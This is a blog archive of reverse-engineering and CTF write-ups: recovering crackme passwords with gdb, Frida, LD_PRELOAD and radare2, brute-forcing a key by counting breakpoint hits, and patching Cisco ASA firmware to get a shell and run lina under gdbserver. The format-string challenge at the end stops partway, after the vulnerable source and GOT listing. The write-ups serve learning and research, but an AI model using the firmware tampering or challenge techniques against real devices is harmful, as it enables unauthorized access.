Showing posts with label gdb. Show all posts
Showing posts with label gdb. Show all posts

# GynvaelEN mission 013


# cat parser.py
import sys

def rld(d):
      if '*' in d:
            i = d.index('*')
            c = d[i - 1]
            n = ord(d[i + 1]) - 28
            d = rld(d[:i - 1] + (c * n) + d[i + 2:])
      return d

def vfile(fd, files, line):
      if 'vFile:open' in line:
            next_line = data[i + 1].split('#')[0]
            if 'F-1' not in next_line:
                  name = line.split(':')[2].split(',')[0]
                  num = next_line[1:]
                  fd[num] = name
                  if name not in files:
                        files[name] = []
      elif 'vFile:close' in line:
            num = line.split(':')[2]
            fd[num] = ''
      elif 'vFile:pread' in line:
            num = line.split(':')[2].split(',')[0]
            offset = int('0x' + line.split(':')[2].split(',')[2], 16)
            next_line = data[i + 1].split('#')[0]
            d = rld(''.join(next_line.split(';')[1:]))
            name = fd[num]
            files[name].append({'offset': offset, 'data': d})

def memory(files, line, mem):
      if mem in line:
            offset = int('0x' + line.split(',')[0][1:].replace(mem, ''), 16)
            next_line = data[i + 1].split('#')[0]
            d = rld(next_line).decode('hex')
            files[mem].append({'offset': offset, 'data': d})

def write(files):
      for name in files:
            with open(name + '.bin', 'wb') as f:
                  for reg in files[name]:
                        f.seek(reg['offset'])
                        f.write(reg['data'])
fd = {}
files = {}

fn = sys.argv[1]

with open(fn) as f:
      data = f.read().split('$')

action = sys.argv[2]

if action == 'memory':
      mem = sys.argv[3]
      files[mem] = []

i = 0
while i < len(data):
      line = data[i].split('#')[0]
      if action == 'vfile':
            vfile(fd, files, line)
      elif action == 'memory':
            memory(files, line, mem)
      i += 1

write(files)

# tshark -nr session.pcapng -T fields -e data -qz follow,tcp,raw,3|tail -n +7| tr -d '=\r\n\t'|less|xxd -r -p > follow_tcp_stream3

# python parser.py follow_tcp_stream3 vfile

# ls 2f*
2f6c69622f7838365f36342d6c696e75782d676e752f6c642d322e32342e736f.bin
2f6c696236342f6c642d6c696e75782d7838362d36342e736f2e32.bin
2f6d656469612f73665f425f44524956452f73747265616d2d6c697665636f64696e672f6d697373696f6e732f6d697373696f6e3031335f66696c65732f612e6f7574.bin
2f70726f632f353937392f6d617073.bin
2f70726f632f353937392f706572736f6e616c697479.bin
2f70726f632f353937392f7461736b2f353937392f6d617073.bin
2f70726f632f7379732f6b65726e656c2f72616e646f6d697a655f76615f7370616365.bin

# cat 2f70726f632f353937392f6d617073.bin
555555554000-555555555000 r-xp 00000000 00:2a 5868                       /media/sf_B_DRIVE/stream-livecoding/missions/mission013_files/a.out
555555754000-555555756000 rw-p 00000000 00:2a 5868                       /media/sf_B_DRIVE/stream-livecoding/missions/mission013_files/a.out
7ffff7dd7000-7ffff7dfc000 r-xp 00000000 08:01 14942250                   /lib/x86_64-linux-gnu/ld-2.24.so
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffe000 rw-p 00025000 08:01 14942250                   /lib/x86_64-linux-gnu/ld-2.24.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

# python parser.py follow_tcp_stream3 memory 55555555

# r2 55555555.bin
[0x00000000]> s 0x00004831
[0x00004831]> pd 44
            0x00004831      48c785a8feff.  mov qword [rbp - 0x158], 0
        .-> 0x0000483c      488b85a8feff.  mov rax, qword [rbp - 0x158]
        |   0x00004843      483b85b8feff.  cmp rax, qword [rbp - 0x148]
       ,==< 0x0000484a      0f83b9000000   jae 0x4909
       ||   0x00004850      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x00004857      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x0000485e      4801d0         add rax, rdx                ; '('
       ||   0x00004861      0fb600         movzx eax, byte [rax]
       ||   0x00004864      83f05a         xor eax, 0x5a
       ||   0x00004867      89c1           mov ecx, eax
       ||   0x00004869      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x00004870      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x00004877      4801d0         add rax, rdx                ; '('
       ||   0x0000487a      8808           mov byte [rax], cl
       ||   0x0000487c      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x00004883      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x0000488a      4801d0         add rax, rdx                ; '('
       ||   0x0000488d      0fb600         movzx eax, byte [rax]
       ||   0x00004890      8d5063         lea edx, dword [rax + 0x63] ; 0x63 ; 'c'
       ||   0x00004893      488d8df0feff.  lea rcx, qword [rbp - 0x110]
       ||   0x0000489a      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048a1      4801c8         add rax, rcx                ; '&'
       ||   0x000048a4      8810           mov byte [rax], dl
       ||   0x000048a6      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x000048ad      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048b4      4801d0         add rax, rdx                ; '('
       ||   0x000048b7      0fb600         movzx eax, byte [rax]
       ||   0x000048ba      83f05a         xor eax, 0x5a
       ||   0x000048bd      89c1           mov ecx, eax
       ||   0x000048bf      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x000048c6      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048cd      4801d0         add rax, rdx                ; '('
       ||   0x000048d0      8808           mov byte [rax], cl
       ||   0x000048d2      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x000048d9      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048e0      4801d0         add rax, rdx                ; '('
       ||   0x000048e3      0fb600         movzx eax, byte [rax]
       ||   0x000048e6      8d5063         lea edx, dword [rax + 0x63] ; 0x63 ; 'c'
       ||   0x000048e9      488d8df0feff.  lea rcx, qword [rbp - 0x110]
       ||   0x000048f0      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048f7      4801c8         add rax, rcx                ; '&'
       ||   0x000048fa      8810           mov byte [rax], dl
       ||   0x000048fc      488385a8feff.  add qword [rbp - 0x158], 1
       |`=< 0x00004904      e933ffffff     jmp 0x483c
[0x00004831]> s 0x4909
[0x00004909]> pd 58
            0x00004909      c685c0feffff.  mov byte [rbp - 0x140], 0x8e
            0x00004910      c685c1feffff.  mov byte [rbp - 0x13f], 0x32 ; '2'
            0x00004917      c685c2feffff.  mov byte [rbp - 0x13e], 0x2f ; '/'
            0x0000491e      c685c3feffff.  mov byte [rbp - 0x13d], 0x39 ; '9'
            0x00004925      c685c4feffff.  mov byte [rbp - 0x13c], 0xea
            0x0000492c      c685c5feffff.  mov byte [rbp - 0x13b], 0x2d ; '-'
            0x00004933      c685c6feffff.  mov byte [rbp - 0x13a], 0x27 ; '''
            0x0000493a      c685c7feffff.  mov byte [rbp - 0x139], 0x39 ; '9'
            0x00004941      c685c8feffff.  mov byte [rbp - 0x138], 0xea
            0x00004948      c685c9feffff.  mov byte [rbp - 0x137], 0x27 ; '''
            0x0000494f      c685cafeffff.  mov byte [rbp - 0x136], 0xea
            0x00004956      c685cbfeffff.  mov byte [rbp - 0x135], 0x88
            0x0000495d      c685ccfeffff.  mov byte [rbp - 0x134], 0x25 ; '%'
            0x00004964      c685cdfeffff.  mov byte [rbp - 0x133], 0x94
            0x0000496b      c685cefeffff.  mov byte [rbp - 0x132], 0x3b ; ';'
            0x00004972      c685cffeffff.  mov byte [rbp - 0x131], 0x30 ; '0'
            0x00004979      c685d0feffff.  mov byte [rbp - 0x130], 0x39 ; '9'
            0x00004980      c685d1feffff.  mov byte [rbp - 0x12f], 0x2f ; '/'
            0x00004987      c685d2feffff.  mov byte [rbp - 0x12e], 0x29 ; ')'
            0x0000498e      c685d3feffff.  mov byte [rbp - 0x12d], 0x39 ; '9'
            0x00004995      c685d4feffff.  mov byte [rbp - 0x12c], 0xea
            0x0000499c      c685d5feffff.  mov byte [rbp - 0x12b], 0x2e ; '.'
            0x000049a3      c685d6feffff.  mov byte [rbp - 0x12a], 0x27 ; '''
            0x000049aa      c685d7feffff.  mov byte [rbp - 0x129], 0x39 ; '9'
            0x000049b1      c685d8feffff.  mov byte [rbp - 0x128], 0x31 ; '1'
            0x000049b8      c685d9feffff.  mov byte [rbp - 0x127], 0xea
            0x000049bf      c685dafeffff.  mov byte [rbp - 0x126], 0x8f
            0x000049c6      c685dbfeffff.  mov byte [rbp - 0x125], 0xea
            0x000049cd      c685dcfeffff.  mov byte [rbp - 0x124], 0x5d ; ']'
            0x000049d4      c685ddfeffff.  mov byte [rbp - 0x123], 0x2b ; '+'
            0x000049db      c685defeffff.  mov byte [rbp - 0x122], 0x5b ; '['
            0x000049e2      c685dffeffff.  mov byte [rbp - 0x121], 0x39 ; '9'
            0x000049e9      c685e0feffff.  mov byte [rbp - 0x120], 0x39 ; '9'
            0x000049f0      c685e1feffff.  mov byte [rbp - 0x11f], 0xf0
            0x000049f7      48c785b0feff.  mov qword [rbp - 0x150], 0
        .-> 0x00004a02      488b85b0feff.  mov rax, qword [rbp - 0x150]
        |   0x00004a09      483b85b8feff.  cmp rax, qword [rbp - 0x148]
       ,==< 0x00004a10      7349           jae 0x4a5b
       ||   0x00004a12      488d95c0feff.  lea rdx, qword [rbp - 0x140]
       ||   0x00004a19      488b85b0feff.  mov rax, qword [rbp - 0x150]
       ||   0x00004a20      4801d0         add rax, rdx                ; '('
       ||   0x00004a23      0fb610         movzx edx, byte [rax]
       ||   0x00004a26      488d8df0feff.  lea rcx, qword [rbp - 0x110]
       ||   0x00004a2d      488b85b0feff.  mov rax, qword [rbp - 0x150]
       ||   0x00004a34      4801c8         add rax, rcx                ; '&'
       ||   0x00004a37      0fb600         movzx eax, byte [rax]
       ||   0x00004a3a      38c2           cmp dl, al
      ,===< 0x00004a3c      7413           je 0x4a51
      |||   0x00004a3e      488d3dd80000.  lea rdi, qword 0x00004b1d   ; 0x4b1d
      |||   0x00004a45      e8e6fbffff     call 0x4630
      |||   0x00004a4a      b803000000     mov eax, 3
     ,====< 0x00004a4f      eb1b           jmp 0x4a6c
     |`---> 0x00004a51      488385b0feff.  add qword [rbp - 0x150], 1
     | |`=< 0x00004a59      eba7           jmp 0x4a02
     | `--> 0x00004a5b      488d3dc00000.  lea rdi, qword 0x00004b22   ; 0x4b22
     |      0x00004a62      e8c9fbffff     call 0x4630
     |      0x00004a67      b800000000     mov eax, 0
     `----> 0x00004a6c      488b75f8       mov rsi, qword [rbp - 8]

# ipython
In [1]: table = [0x8e, 0x32, 0x2f, 0x39, 0xea, 0x2d, 0x27, 0x39, 0xea, 0x27, 0xea, 0x88, 0x25, 0x94, 0x3b, 0x30, 0x39, 0x2f, 0x29, 0x39, 0xea, 0x2e, 0x27, 0x39, 0x31, 0xea, 0x8f, 0xea, 0x5d, 0x2b, 0x5b, 0x39, 0x39, 0xf0]
   ...: r = ''
   ...: for e in table:
   ...:     r += chr(((((e - 0x63) ^ 0x5a) - 0x63) ^ 0x5a) & 0xff)
   ...: print r
   ...:
This was a FoREnsics task I guess.

Source

https://www.youtube.com/watch?v=7zTtVYjjquA (1:58:10)

Reference

https://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html

# Riscure hack me 2 (quals)


Download

# wget https://github.com/Riscure/Rhme-2016/raw/master/RHme2_prequalification_challenge
# file RHme2_prequalification_challenge
RHme2_prequalification_challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d2e181c26c49dbf067beaba93387f7ef75bc3a91, not stripped

Option 1: Hopper and gdb

# strings RHme2_prequalification_challenge | grep Well
Well done! You found the secret password!

1. Load the binary using hopper.
2. Search the previous string.
3. Go to the address where is referenced (0x400855).
4. Do a decompilation:

int main() {
    stack[2047] = rbx;
    rsp = rsp - 0x8 - 0x1b0;
    rbx = arg_32;
    rax = 0x0;
    asm{ rep stosq  qword [ds:rdi], rax };
    do {
            rsi = sign_extend_64(rax);
            rdx = rax << 0x4 | rax;
            rax = rax + 0x1;
            *(int8_t *)(rsi + 0x601080) = rdx ^ *(int8_t *)(rsi + 0x601080) & 0xff;
    } while (rax != 0x20);
    AES_set_decrypt_key(0x601080, 0x100, var_4);
    AES_decrypt(arg_30, rbx, var_4);
    puts("What is the secret password?");
    fgets(arg_42, 0x50, *__TMC_END__);
    if (memcmp(arg_42, rbx, 0x10) != 0x0) {
            __printf_chk(0x1, "\nThat is not correct!");
    }
    else {
            __printf_chk(0x1, "\nWell done! You found the secret password!");
    }
    rax = 0x0;
    rbx = stack[1993] ^ *0x28;
    COND = rbx != 0x0;
    if (COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}
5. Find the address where memcmp is called:
000000000040081d         call       j_memcmp
# gdb ./RHme2_prequalification_challenge
(gdb) b *0x40081d
(gdb) run
What is the secret password?
IDONTKNOW

Breakpoint 1, 0x000000000040081d in main ()
(gdb) x/s $rbx
0x7fffffffe508: "TH1S 1s s3cr3t!!"

Option 2: LD_PRELOAD

# cat mylib.c
int memcmp(const void *s1, const void *s2, int n){
    printf("%s\n", s1);
    printf("%s\n", s2);
}
# gcc -fPIC -shared mylib.c -o mylib.dylib
# LD_PRELOAD=/tmp/mylib.dylib ./RHme2_prequalification_challenge
What is the secret password?
IDONTKNOW
IDONTKNOW

TH1S 1s s3cr3t!!

That is not correct!

Option 3: Frida

# cat hook.py
import frida
import sys

process = sys.argv[1]
address = str(int(sys.argv[2], 16))

session = frida.attach(process)
script = session.create_script('''
Interceptor.attach(ptr("''' + address + '''"), {
    onEnter: function(args) {
        // User password
        send(Memory.readCString(args[0]));
        // Secret password
        send(Memory.readCString(args[1]));
    }
});
''')

def on_message(message, data):
    print message['payload'].strip()

script.on('message', on_message)
script.load()
sys.stdin.read()

# ./RHme2_prequalification_challenge
What is the secret password?
IDONTKNOW

That is not correct!

# python hook.py RHme2_prequalification_challenge 0x400730
IDONTKNOW
TH1S 1s s3cr3t!!

Option 4: Radare

# r2 -d ./RHme2_prequalification_challenge
Process with PID 31679 started...
attach 31679 31679
bin.baddr 0x00400000
Assuming filepath ./RHme2_prequalification_challenge
asm.bits 64
[0x7f6fa0ec02d0]> dcu sym.imp.memcmp
Continue until 0x00400730 using 1 bpsize
What is the secret password?
IDONTKNOW
hit breakpoint at: 400730
attach 31679 1
[0x00400730]> ps @ rbx
TH1S 1s s3cr3t!!

Reference

https://www.riscure.com/challenge

# Enabling lina debug mode


Preparing .gdbinit

# r2 lina
[0x0804d520]> aar
[0x0804d520]> s sym.imp.setitimer
[0x0804cf94]> vp
  |||||||   ;-- imp.setitimer:
  |||||||   ; CALL XREF from 0x08c8ff2b (unk)
  |||||||   ; CALL XREF from 0x08c8ffc8 (unk)
  |||||||   ; CALL XREF from 0x08c900d8 (unk)
  |||||||   ; CALL XREF from 0x08c9011e (unk)
  |||||||   0x0804cf94      ff253c93bc09   jmp dword [reloc.setitimer_60] ; reloc.setitimer
  |||||||   0x0804cf9a      6878060000     push 0x678
  ========< 0x0804cf9f      e9f0f2ffff     jmp 0x804c294               ;[1]
:> s 0x08c900d8
            0x08c900d8      e8b7ce3bff     call sym.imp.setitimer      ;[1]
            0x08c900dd      c9             leave
            0x08c900de      c3             ret
            0x08c900df      90             nop
            ; CALL XREF from 0x0805e9ba (unk)
            ; CALL XREF from 0x08c91ed9 (unk)
            0x08c900e0      55             push ebp
            0x08c900e1      89e5           mov ebp, esp
            0x08c900e3      83ec28         sub esp, 0x28               ; '('
            0x08c900e6      8b0da46ad109   mov ecx, dword [0x9d16aa4]  ; [0x9d16aa4:4]=0x4c
            0x08c900ec      81f93f420f00   cmp ecx, 0xf423f
        ,=< 0x08c900f2      7f34           jg 0x8c90128


# cat .gdbinit
set debug remote 1
set disassembly-flavor intel
target remote /dev/ttyUSB0
# Patch the watchdog
set *0x9d16aa4=0
file ~/lina

Option 1: Modifying the rootfs

# cat enable_gdb.sh
#!/bin/bash

binary="$1"
rfs='rootfs.img'
rfsgz="$rfs.gz"
d='extracted'
rcs='asa/scripts/rcS'

cp $binary $binary.orig

echo "[+] cp $binary $binary.orig"

offset=`binwalk -y='gzip' $binary | grep rootfs | awk '{print $1}'`
end=`binwalk --raw='\x0b\x01\x64\x00\x00' $binary | grep 00 | tail -n 1 | awk '{print $1}'`

size=`expr $end - $offset`

echo "[+] $binary"
echo "[+] \__ $rfsgz - $size bytes"

dd if=$binary of=$rfsgz skip=$offset count=$size bs=1

echo "[+] $binary >> $rfsgz"

mkdir $d
cd $d
gunzip -c ../$rfsgz | cpio -i --no-absolute-filenames --make-directories
gzip -f -d ../$rfsgz
mv ../$rfs .
echo "[+] $rfsgz ~ $rfs"

sed -i 's/#\(.*ttyUSB0.*\)/\1/' $rcs
sed -i 's/ttyUSB0/ttyS0/' $rcs

echo "[+] gdb enabled in $rcs"

echo "$rcs" | cpio --format='newc' -o --append -F $rfs

echo "[+] $rfs updated"

gzip -f -9 $rfs
mv $rfsgz ../.

echo "[+] $rfs ~ $rfsgz"

cd ..
rm -rf $d

nsize=`stat -c%s $rfsgz`
sizediff=`expr $size - $nsize`

dd if=/dev/zero count=$sizediff bs=1 conv=notrunc,noerror status=noxfer >> $rfsgz
nsize=`stat -c%s $rfsgz`
dd if=$rfsgz of=$binary seek=$offset count=$nsize bs=1 conv=notrunc,noerror

echo "[+] $rfsgz >> $binary"

rm $rfsgz

echo "[+] Done!"

# ./enable_gdb.sh asa842-k8.bin
[+] cp asa842-k8.bin asa842-k8.bin.orig
[+] asa842-k8.bin
[+] \__ rootfs.img.gz = 23628432 bytes
[+] asa842-k8.bin >> rootfs.img.gz
[+] rootfs.img.gz ~ rootfs.img
[+] gdb enabled in asa/scripts/rcS
[+] rootfs.img updated
[+] rootfs.img ~ rootfs.img.gz
[+] rootfs.img.gz >> asa842-k8.bin
[+] Done!# Checksum bypass
# scp -oKexAlgorithms=+diffie-hellman-group1-sha1 asa842-k8.bin admin@asa:asa842-k8-gdb.bin
# gdb
asa(config)# boot system disk0:/asa842-k8-gdb.bin
asa(config)# wr
asa(config)# reload

...
SMFW PID: 479, SMFW started in mode 0
SMFW PID: 481, Starting /asa/bin/lina under gdbserver /dev/ttyS0
SMFW PID: 479, started gdbserver on member: 481//asa/bin/lina
SMFW PID: 479, created member ASA BLOB, PID=481
Process /asa/bin/lina created; pid = 484
Remote debugging using /dev/ttyS0

Option 2: Modifying kernel boot parameters

# r2 -w asa842-k8.bin
[0x00000000]> / quiet
[0x00000000]> s hit0_1
[0x017ed8dc]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x017ed8dc  7175 6965 7420 6c6f 676c 6576 656c 3d30  quiet loglevel=0
0x017ed8ec  2061 7574 6f20 6b73 7461 636b 3d31 3238   auto kstack=128
[0x017ed8dc]> w rdinit=/bin/sh        k
[0x017ed8dc]> px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x017ed8dc  7264 696e 6974 3d2f 6269 6e2f 7368 2020  rdinit=/bin/sh
0x017ed8ec  2020 2020 2020 6b73 7461 636b 3d31 3238        kstack=128# Checksum bypass
# scp -oKexAlgorithms=+diffie-hellman-group1-sha1 asa842-k8.bin admin@asa:asa842-k8-binsh.bin
# gdb
asa(config)# boot system disk0:/asa842-k8-binsh.bin
asa(config)# wr
asa(config)# reload

...
Freeing unused kernel memory: 156k freed
Write protecting the kernel text: 1716k
Write protecting the kernel read-only data: 504k
/bin/sh: can't access tty; job control turned off
# sed -i 's/#\(.*\)ttyUSB0\(.*\)/\1ttyS0\2/' /asa/scripts/rcS
# exec /sbin/init

...
SMFW PID: 479, SMFW started in mode 0
SMFW PID: 481, Starting /asa/bin/lina under gdbserver /dev/ttyS0
SMFW PID: 479, started gdbserver on member: 481//asa/bin/lina
SMFW PID: 479, created member ASA BLOB, PID=481
Process /asa/bin/lina created; pid = 484
Remote debugging using /dev/ttyS0

References

http://www.slideshare.net/CanSecWest/csw2016-wheeler-barksdalegruskovnjakexecutemypacket
http://2014.ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf
https://community.rapid7.com/community/metasploit/blog/2016/06/14/asa-hack
https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

# PicoCTF 2k13 - moreevil


# gdb -q -n -x moreevil.py
Please enter your password: 1  
 [0x401f2f] cmp ebx, eax                                                        [0x1] < [0x13]
Wrong!

# gdb -q -n -x moreevil.py
Please enter your password: 1234567890123456789 
[0x4020df] xor ebx, r10d                                                        ['1'] ^ ['q'] = '@'
 [0x4020df] xor ebx, r10d                                                       ['2'] ^ ['q'] = 'C'
  [0x4020df] xor ebx, r10d                                                      ['3'] ^ ['q'] = 'B'
   [0x4020df] xor ebx, r10d                                                     ['4'] ^ ['q'] = 'E'
    [0x4020df] xor ebx, r10d                                                    ['5'] ^ ['q'] = 'D'
     [0x4020df] xor ebx, r10d                                                   ['6'] ^ ['q'] = 'G'
      [0x4020df] xor ebx, r10d                                                  ['7'] ^ ['q'] = 'F'
       [0x4020df] xor ebx, r10d                                                 ['8'] ^ ['q'] = 'I'
        [0x4020df] xor ebx, r10d                                                ['9'] ^ ['q'] = 'H'
         [0x4020df] xor ebx, r10d                                               ['0'] ^ ['q'] = 'A'
          [0x4020df] xor ebx, r10d                                              ['1'] ^ ['q'] = '@'
           [0x4020df] xor ebx, r10d                                             ['2'] ^ ['q'] = 'C'
            [0x4020df] xor ebx, r10d                                            ['3'] ^ ['q'] = 'B'
             [0x4020df] xor ebx, r10d                                           ['4'] ^ ['q'] = 'E'
              [0x4020df] xor ebx, r10d                                          ['5'] ^ ['q'] = 'D'
               [0x4020df] xor ebx, r10d                                         ['6'] ^ ['q'] = 'G'
                [0x4020df] xor ebx, r10d                                        ['7'] ^ ['q'] = 'F'
                 [0x4020df] xor ebx, r10d                                       ['8'] ^ ['q'] = 'I'
                  [0x4020df] xor ebx, r10d                                      ['9'] ^ ['q'] = 'H'
                   [0x401fd6] cmp r11d, ebx                                     [0x13] == [0x13]
[0x4021e8] mov rbx, rax                                                         rbx = [0x6030c8]
[0x4021eb] mov rbx, QWORD PTR [rbx]                                             rbx = [0x19]
[0x4021ee] cmp r11d, ebx                                                        ['@'] > [0x19]
Wrong!
# gdb moreevil
(gdb) set environment LD_PRELOAD=lib/hook64.so
(gdb) break *0x4021ee
(gdb) run
Please enter your password: 1234567890123456789
(gdb) x/152xb 0x6030c8
0x6030c8: 0x19 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e0: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e8: 0x1d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603100: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603108: 0x12 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603110: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603118: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603120: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603128: 0x08 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603130: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603138: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603140: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603148: 0x16 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603150: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603158: 0x4e 0x00 0x00 0x00 0x00 0x00 0x00 0x00

# ipython
In [1]: key = [0x19, 0x1e, 0x06, 0x51, 0x1d, 0x1e, 0x06, 0x51, 0x12, 0x10, 0x1f, 0x51, 0x08, 0x1e, 0x04, 0x51, 0x16, 0x1e, 0x4e]
In [2]: password = ''
In [3]: for byte in key:
            password += chr(byte ^ ord('q'))

In [4]: password
Out[4]: 'how low can you go?'

# PicoCTF 2k13 - Mildly Evil


$ objdump -M intel -d mildly_evil 

mildly_evil:     file format elf32-i386

Disassembly of section .text:

080480b8 <_start>:
 80480b8: bd 2c 91 04 08        mov    ebp,0x804912c
 80480bd: 89 ec                 mov    esp,ebp
 80480bf: eb 00                 jmp    80480c1 <go>

080480c1 <go>:
 80480c1: 39 e5                 cmp    ebp,esp
 80480c3: 7f 59                 jg     804811e <exit>
 80480c5: 58                    pop    eax
 80480c6: 5b                    pop    ebx
 80480c7: 59                    pop    ecx
 80480c8: 85 c0                 test   eax,eax
 80480ca: 7c 2f                 jl     80480fb <gc>
 80480cc: 85 db                 test   ebx,ebx
 80480ce: 7c 14                 jl     80480e4 <pc>
 80480d0: 8d 44 85 00           lea    eax,[ebp+eax*4+0x0]
 80480d4: 8b 00                 mov    eax,DWORD PTR [eax]
 80480d6: 8d 5c 9d 00           lea    ebx,[ebp+ebx*4+0x0]
 80480da: 29 03                 sub    DWORD PTR [ebx],eax
 80480dc: 7f e3                 jg     80480c1 <go>
 80480de: 8d 64 8d 00           lea    esp,[ebp+ecx*4+0x0]
 80480e2: eb dd                 jmp    80480c1 <go>

080480e4 <pc>:
 80480e4: 8d 4c 85 00           lea    ecx,[ebp+eax*4+0x0]
 80480e8: ba 01 00 00 00        mov    edx,0x1
 80480ed: bb 01 00 00 00        mov    ebx,0x1
 80480f2: b8 04 00 00 00        mov    eax,0x4
 80480f7: cd 80                 int    0x80
 80480f9: eb c6                 jmp    80480c1 <go>

080480fb <gc>:
 80480fb: 8d 74 9d 00           lea    esi,[ebp+ebx*4+0x0]
 80480ff: b9 28 91 04 08        mov    ecx,0x8049128
 8048104: ba 01 00 00 00        mov    edx,0x1
 8048109: 31 db                 xor    ebx,ebx
 804810b: b8 03 00 00 00        mov    eax,0x3
 8048110: cd 80                 int    0x80
 8048112: b8 28 91 04 08        mov    eax,0x8049128
 8048117: 0f b6 00              movzx  eax,BYTE PTR [eax]
 804811a: 01 06                 add    DWORD PTR [esi],eax
 804811c: eb a3                 jmp    80480c1 <go>

0804811e <exit>:
 804811e: b8 01 00 00 00        mov    eax,0x1
 8048123: 31 db                 xor    ebx,ebx
 8048125: cd 80                 int    0x80

$ cat bruteforce.sh 
#!/bin/bash

alphabet=`echo - {0..9} {A..Z} _ {a..z}`
key=''

cat > gdb.script << eof
break go
ignore 1 999999
run < key
info breakpoints
quit
eof

while [ true ]; do
    min_hits=999999
    f=0
    for i in $alphabet; do
        echo -n $i
        echo $key$i > key
        output=`gdb -q ./mildly_evil < gdb.script 2>&1`
        wrong=`echo "$output" | grep 'Wrong'`
        hits=`echo "$output" | grep 'already hit' | awk '{print $4}'`
        if [ "$wrong" != "" ]; then
            if [ $hits -lt $min_hits ]; then
                min_hits=$hits
                if [ $f -eq 1 ]; then 
                    key=$key$i
                    break
                fi
                f=1
            fi
        else
            echo 
            rm -f gdb.script key
            exit
        fi
        echo -ne '\b'
    done
done
$ ./bruteforce.sh
1337RE_m4ster
$ cat bruteforce.py 
import re
import gdb
import sys

def ge(command):
    return gdb.execute(command, False, True)

alphabet = []
alphabet.append(chr(45))
for i in xrange(48,58):
    alphabet.append(chr(i))
for i in xrange(65,91):
    alphabet.append(chr(i))
alphabet.append(chr(95))
for i in xrange(97,123):
    alphabet.append(chr(i))
key = ''
ofile = 'result.txt'

ge("set pagination off")
ge("set confirm off")
ge("file mildly_evil")
ge("break go")

while True:
    min_hits = 999999
    m = 0
    for i in alphabet:
        sys.stdout.write(i)
        sys.stdout.flush()
        ge("ignore 1 999999")
        gdb.execute("run <<< '" + key + i + "' > " + ofile, False, True)
        f = open(ofile, 'r')
        wrong = re.findall("Wrong", f.read())
        f.close()
        output = ge("info breakpoints")
        hits  = int(re.findall("hit ([0-9]+) times", output)[0])
        if wrong:
            if hits < min_hits:
                min_hits = hits
                if m == 1:
                    key += i
                    break
                m = 1
        else:
            print
            sys.exit()
        sys.stdout.write('\b')
ge("quit")
$ gdb -q -n -x bruteforce.py
1337RE_m4ster

# PicoCTF 2k13 - Format 2


$ cat format2.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, const char **argv) {
    be_nice_to_people();
    char buf[80];
    snprintf(buf, 70, argv[1]);
    printf(buf);
    printf("\n");
    system("/bin/ls");
    exit(0);
}
$ objdump -R format2
format2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   printf
0804a004 R_386_JUMP_SLOT   getegid
0804a008 R_386_JUMP_SLOT   system
0804a00c R_386_JUMP_SLOT   __gmon_start__
0804a010 R_386_JUMP_SLOT   exit
0804a014 R_386_JUMP_SLOT   __libc_start_main
0804a018 R_386_JUMP_SLOT   snprintf
0804a01c R_386_JUMP_SLOT   putchar
0804a020 R_386_JUMP_SLOT   setresgid
$ gdb -q format2
(gdb) x/xw 0x0804a008
0x804a008 : 0x080483e6
(gdb) disassemble main
Dump of assembler code for function main:
